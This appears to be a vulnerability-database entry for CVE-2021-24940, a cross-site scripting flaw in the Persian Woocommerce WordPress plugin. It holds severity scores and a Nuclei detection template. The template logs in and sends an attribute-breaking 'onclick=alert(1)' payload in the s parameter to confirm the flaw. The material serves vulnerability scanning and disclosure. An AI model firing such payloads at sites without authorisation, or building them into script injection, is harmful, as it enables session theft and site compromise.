4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
43.5%
WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
id: CVE-2021-24940
info:
name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
author: daffainfo
severity: medium
description: |
WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in 5.9.8.
reference:
- https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
- https://nvd.nist.gov/vuln/detail/CVE-2021-24940
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24940
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43227
cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: woocommerce
product: persian-woocommerce
framework: wordpress
tags: cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(header_2, "text/html")
- status_code_2 == 200
- contains(body_2, 'accesskey=X onclick=alert(1) test=')
- contains(body_2, 'woocommerce_persian_translate')
condition: and
# digest: 4a0a00473045022100826d482d8b237a1f2fa54478c880d7f1f60bf8ffef2b1fc3a2ef61d1d125bcd3022077b886b61bb9b4e8c9f7af2e0ca8a2c49a6fb5758529c7ffaeeb52ff257fc556:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
43.5%